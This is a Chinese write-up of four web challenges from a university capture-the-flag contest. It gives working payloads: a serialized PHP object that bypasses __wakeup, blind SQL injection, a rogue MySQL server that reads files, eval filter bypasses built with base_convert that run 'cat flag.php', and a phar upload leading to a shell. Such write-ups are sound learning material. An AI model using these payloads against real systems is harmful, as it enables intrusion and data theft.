全国大学生
Web1
一共三个考点:
- parse_url绕过
http://lawlietweb.com/2018/05/13/parse_url/ - wakeup绕过
https://paper.seebug.org/39/ - 随机数(此处两解)
hint.php
1 | <?php |
解法一(MD5爆破)
1 | require "hint.php"; |
结果拿到burp去跑,运气好很快就出flag,运气不好- -,一直爆一直不出
解法二(引用赋值-推荐)
@Virtua1师傅的解法,膜一波
1 | require "hint.php"; |
最后直接
1 | http://url///ctf_web1/index.php?file=hint.php&payload=O%3a6%3a%22Handle%22%3a5%3a%7bs%3a14%3a%22%00Handle%00handle%22%3bO%3a4%3a%22Flag%22%3a3%3a%7bs%3a4%3a%22file%22%3bs%3a8%3a%22flag%2ephp%22%3bs%3a5%3a%22token%22%3bs%3a32%3a%22b706835de79a2b4e80506f582af3676a%22%3bs%3a10%3a%22token_flag%22%3bR%3a4%3b%7d%7d |
Web2
第一步是登陆处的盲注
过滤 or if sleep benchmark
pow函数,在pow函数之外为假的时候会返回error
利用pow的溢出判断limit位数的ascii
在题目中正确返回登陆失败,错误返回数据库失败
1 | import requests |
利用mysql别名跑出
参考https://xz.aliyun.com/t/4105password : F1AG@1s-at_/fll1llag_h3r3
进入后台为远程数据库连接界面,想到fake_mysqlServer
读文件
参考文章 https://xz.aliyun.com/t/3973
修改这个脚本里的filelist
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
然后让题目服务器连接即可
在日志里查看flag
Web3
源码在
calc.php
1 |
|
拿到源码后,发现需要命令执行,但是过滤了很多,这里我们就来分析分析
黑名单
输入的不能在黑名单里
白名单
利用的函数只能是白名单里的,不能输入任何不在白名单里的字符串
于是思路很明显了,利用给出的白名单函数,让eval读取flag.php文件
payload构造
在给出的math函数
http://www.w3school.com.cn/php/php_ref_math.asp
发现这么一个函数
1 | base_convert(number,frombase,tobase) |
任意进制间的转换
于是构造一下payload,需要不出现字母,于是选了10进制
1 | base_convert(55490343972,10,36)() #phpinfo() |
成功,注意末尾添加函数的括号,因为括号不在黑名单里
于是想的是,直接用system来读取flag
1 | system(cat flag.php) |
但是构造中发现了很多问题
首先空格在黑名单里,需要绕
网上大概的方法
1 | ${IFS} |
后面两个没法用,<> %
直接被当运算符处理了,也就是只能用第一个,构造了出来,还有一个问题,传入c参数的最大长度<80,如果用${IFS}
,去cat flag.php
构造的长度,太长了,即使是把flag.php
用通配符*
去替换,也还是太长
1 | base_convert(1751504350,10,36)(base_convert(15941,10,36)${(base_convert(23896,10,36)}*) |
于是又想到一种思路,把system(cat flag.php)
全部转为16进制再转10进制,再用base_convert去转回字符串,
1 | # bin2hex不在白名单,可用base_convert输出 |
但是,转出来的长度太长了,会被加上科学计数法,识别不了
然后就一直卡在绕长度这了,Hpdoger师傅问了CNSS的师傅,说是不用绕长度,给了个提示,拼接变量,类似于平时我们制作免杀马的一种方式
1 | <?php |
于是构造出来的payload
1 | base_convert(37907361743,10,36) # hex2bin 把16进制转字符串 |
1 | $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$pi){1})&0=system&1=cat flag.php |
另一payload1
2# exec(nl f*)
base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(474260465194)))
Web4(未解出)
比赛中得到的信息
首页有一个文件包含的点,通过包含以及目录扫描能够得到以下信息以及源码
1 | ├── app |
由于没有源码的截图,所以这里借一下mochazz师傅的图
然后在上传点可以利用phar,getshell
然后发现有一个flag.txt,是经过加密的
然后就没有思路了
赛后wp学习
verify函数
1 | public function verify($key) |
flag.php
1 | <?php if (!defined('LFI')) |
说明是有一个FlagSDK类可以利用的,getHash()
函数应该就在该类里,于是调用,这里直接调用会报错,因为该方法是私有类,那么如何去调用呢,这里就需要用到一个神奇的东西,反射机制,可以做到调用private
的方法
https://www.php.net/manual/zh/book.reflection.php
1 | a=use interesting\FlagSDK; |
(借用_f61d_
的图)
但是还有一个点
1 | sha1($key) == $this->getHash() |
1 | <?php |
这样sha1的结果一直都是aaa,因为已经重写
于是,当你命名了命名空间,需要在另一个文件里调用,但是同时又在该文件里重写了即将调用的命名空间里的这个方法时,就可重写该方法。
于是
1 | <?php |
(借用_f61d_
的图)